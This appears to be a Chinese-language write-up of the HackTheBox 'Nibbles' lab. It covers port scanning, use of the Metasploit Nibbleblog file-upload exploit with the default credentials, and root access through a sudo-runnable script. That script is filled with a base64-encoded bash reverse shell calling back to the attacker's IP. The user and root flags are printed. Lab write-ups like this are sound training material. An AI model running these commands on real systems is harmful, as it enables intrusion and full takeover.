信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.10.75 | TCP:22,80 |
$ nmap -p- 10.10.10.75 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP&www-data
$ curl http://10.10.10.75
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图](https://img.4awl.net/img/d3/f0b1ad0e5a1cb029e85b0b39f1c290.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图")
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图1](https://img.4awl.net/img/d1/bec37672c2e70de4e866d788901b07.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图1")
$ gobuster dir -u "http://10.10.10.75/nibbleblog" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图2](https://img.4awl.net/img/c8/9c339f4655aab4a485700d6d869018.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图2")
http://10.10.10.75/nibbleblog/update.php
$ searchsploit Nibbleblog
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图3](https://img.4awl.net/img/6a/b770503ec5e12170938945a5abe043.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图3")
msf6 > use exploit/multi/http/nibbleblog_file_upload
msf6 exploit(multi/http/nibbleblog_file_upload) > set LHOST 10.10.16.14
http://10.10.10.75/nibbleblog/content/private/users.xml
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图4](https://img.4awl.net/img/21/f967e819df20bc69a4b99f05d6e507.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图4")
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图5](https://img.4awl.net/img/68/8fa7ff7e0747e04e09df0ef8896436.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图5")
username:admin password:nibbles
http://10.10.10.75/nibbleblog/admin.php
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图6](https://img.4awl.net/img/20/8c1917512a23aabf6702b38708e47b.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图6")
msf6 exploit(multi/http/nibbleblog_file_upload) > set PASSWORD nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set USERNAME admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set TARGETURI /nibbleblog
msf6 exploit(multi/http/nibbleblog_file_upload) > runf
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图7](https://img.4awl.net/img/e5/84055609858d0622cfee9120096966.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图7")
User.txt
895e7888ead0ee3699b05fcd82ae8a4e
权限提升
nibbler@Nibbles:/tmp$ sudo -l
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图8](https://img.4awl.net/img/cb/77759bd162df4a3acc5babf0836e53.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图8")
$ mkdir -p /home/nibbler/personal/stuff
$ echo 'L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE0LzEwMDM1IDA+JjEiCg=='|base64 -d >/home/nibbler/personal/stuff/monitor.sh
$ chmod +x /home/nibbler/personal/stuff/monitor.sh
$ sudo /home/nibbler/personal/stuff/monitor.sh
![[Meachines] [Easy] nibbles Nibbleblog-Upload插图9](https://img.4awl.net/img/4a/dd83e41177de5ea85d7d6427943f72.jpg "[Meachines] [Easy] nibbles Nibbleblog-Upload插图9")
Root.txt
c7d95df1cb6437197c6ae40bcce2bdc5
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
